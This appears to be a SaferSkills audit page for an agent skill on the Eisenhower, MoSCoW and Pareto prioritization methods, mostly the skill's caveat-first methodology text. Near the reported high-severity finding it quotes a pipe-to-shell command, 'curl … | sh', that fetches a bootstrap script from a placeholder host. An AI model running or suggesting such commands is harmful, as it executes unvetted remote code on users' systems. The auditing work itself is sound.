think-eisenhower-moscow-pareto — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited think-eisenhower-moscow-pareto (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
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text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
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These are the three most widely taught lightweight prioritization presets: the Eisenhower urgent-important 2x2, MoSCoW four-bucket scope cutting, and the Pareto vital-few chart. They are famous, frequently requested, and weakly evidenced as decision tools. This skill runs whichever one was asked for honestly: it leads with the caveat, then produces that single preset with the discipline its bare template omits.
These three sit at tier P (practitioner heuristic, no controlled effectiveness evidence). They are not one method but a bundle of three different operations stapled together by the word "prioritization", and that heterogeneity is the central fact: Eisenhower is categorical triage by two canned axes, MoSCoW is ordinal bucketing against one implicit scale, Pareto is a descriptive concentration observation. None has a controlled or comparative study measuring it against an alternative on decision quality. The strong study quoted to make Eisenhower look evidence-backed, Zhu, Yang and Hsee (2018), measures the mere urgency effect - the bias the matrix targets - not the matrix as a remedy; borrowing that grade would be laundering a finding about the disease onto a claim about the cure. MoSCoW's best-documented failure is category inflation: anything not a "Must" rarely gets built, so users mark almost everything "Must" and the method stops where the hard ranking begins. Pareto's concentration is real but domain-dependent and usually not 80-20: Kim, Singh and Winer (2017) measured a ratio averaging about 0.73 across 22 packaged-goods categories. Never invent an effectiveness number, and never report a clean 80-20 split the data does not support.
think-theory-of-constraints, which adds the capacity-versus-demand test that proves which few are actually binding (the step a bare Pareto chart lacks, since it shows concentration but not causation).think-one-way-vs-two-way-door rather than forcing it into an urgent-important grid.think-decision-option-review with the criteria named honestly, instead of MoSCoW's single canned axis and pre-binned labels.When asked to run one of these presets, follow these steps:
references/TEMPLATE.md, caveat leading.Use the template in references/TEMPLATE.md. The deliverable is exactly one of the three artifacts (the one asked for), produced with its discipline added, the caveat leading, and the limit named - not all three, and not a bare template presented as analysis.
Before finalizing, verify:
Tier P (practitioner heuristic; recognized and useful, but no controlled effectiveness evidence). It ships as a contested lens, caveat-first and explicit-request-only, because these are among the most-requested prioritization tools in the world and an honest run that leads with the deficiency and adds the missing discipline beats a flat refusal. The Eisenhower 2x2 is Covey's "Time Management Matrix" (1989) from a 1954 Eisenhower remark; the strong urgency-effect study (Zhu, Yang and Hsee 2018) measures the bias, not the matrix. MoSCoW is Clegg (1994, later DSDM). Pareto is Juran's "vital few" generalization of Pareto's 1896 observation; the honest measured ratio is about 0.73 (Kim, Singh and Winer 2017). Evidence is transferred from human contexts, not AI-validated. Full grading: evidence/dossier.md.
See references/EXAMPLE.md for a completed honest run (a MoSCoW scope cut with category inflation guarded and the intra-bucket ranking added).
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.